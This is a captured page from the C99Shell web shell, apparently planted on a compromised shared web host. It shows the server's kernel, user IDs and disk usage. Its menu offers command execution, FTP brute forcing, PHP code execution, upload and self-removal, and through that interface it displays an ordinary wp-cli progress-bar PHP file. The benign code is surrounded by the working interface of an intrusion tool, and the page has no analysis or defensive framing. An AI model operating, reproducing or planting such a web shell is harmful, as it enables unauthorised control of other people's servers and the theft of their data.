!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/php-cli-tools/lib/cli/progress/   drwxr-xr-x
Free 714.48 GB of 879.6 GB (81.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Bar.php (2.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHP Command Line Tools
 *
 * This source file is subject to the MIT license that is bundled
 * with this package in the file LICENSE.
 *
 * @author    James Logsdon <[email protected]>
 * @copyright 2010 James Logsdom (http://girsbrain.org)
 * @license   http://www.opensource.org/licenses/mit-license.php The MIT License
 */

namespace cli\progress;

use cli;
use cli\Notify;
use cli\Progress;
use cli\Shell;
use cli\Streams;

/**
 * Displays a progress bar spanning the entire shell.
 *
 * Basic format:
 *
 *   ^MSG  PER% [=======================            ]  00:00 / 00:00$
 */
class Bar extends Progress {
    protected $_bars = '=>';
    protected $_formatMessage = '{:msg}  {:percent}% [';
    protected $_formatTiming = '] {:elapsed} / {:estimated}';
    protected $_format = '{:msg}{:bar}{:timing}';

    /**
     * Prints the progress bar to the screen with percent complete, elapsed time
     * and estimated total time.
     *
     * @param boolean  $finish  `true` if this was called from
     *                          `cli\Notify::finish()`, `false` otherwise.
     * @see cli\out()
     * @see cli\Notify::formatTime()
     * @see cli\Notify::elapsed()
     * @see cli\Progress::estimated();
     * @see cli\Progress::percent()
     * @see cli\Shell::columns()
     */
    public function display($finish = false) {
        $_percent = $this->percent();

        $percent = str_pad(floor($_percent * 100), 3);
        $msg = $this->_message;
        $msg = Streams::render($this->_formatMessage, compact('msg', 'percent'));

        $estimated = $this->formatTime($this->estimated());
        $elapsed   = str_pad($this->formatTime($this->elapsed()), strlen($estimated));
        $timing    = Streams::render($this->_formatTiming, compact('elapsed', 'estimated'));

        $size = Shell::columns();
        $size -= strlen($msg . $timing);
        if ( $size < 0 ) {
            $size = 0;
        }

        $bar = str_repeat($this->_bars[0], floor($_percent * $size)) . $this->_bars[1];
        // substr is needed to trim off the bar cap at 100%
        $bar = substr(str_pad($bar, $size, ' '), 0, $size);

        Streams::out($this->_format, compact('msg', 'bar', 'timing'));
    }

    /**
     * This method augments the base definition from cli\Notify to optionally
     * allow passing a new message.
     *
     * @param int    $increment The amount to increment by.
     * @param string $msg       The text to display next to the Notifier. (optional)
     * @see cli\Notify::tick()
     */
    public function tick($increment = 1, $msg = null) {
        if ($msg) {
            $this->_message = $msg;
        }
        Notify::tick($increment);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0127 ]--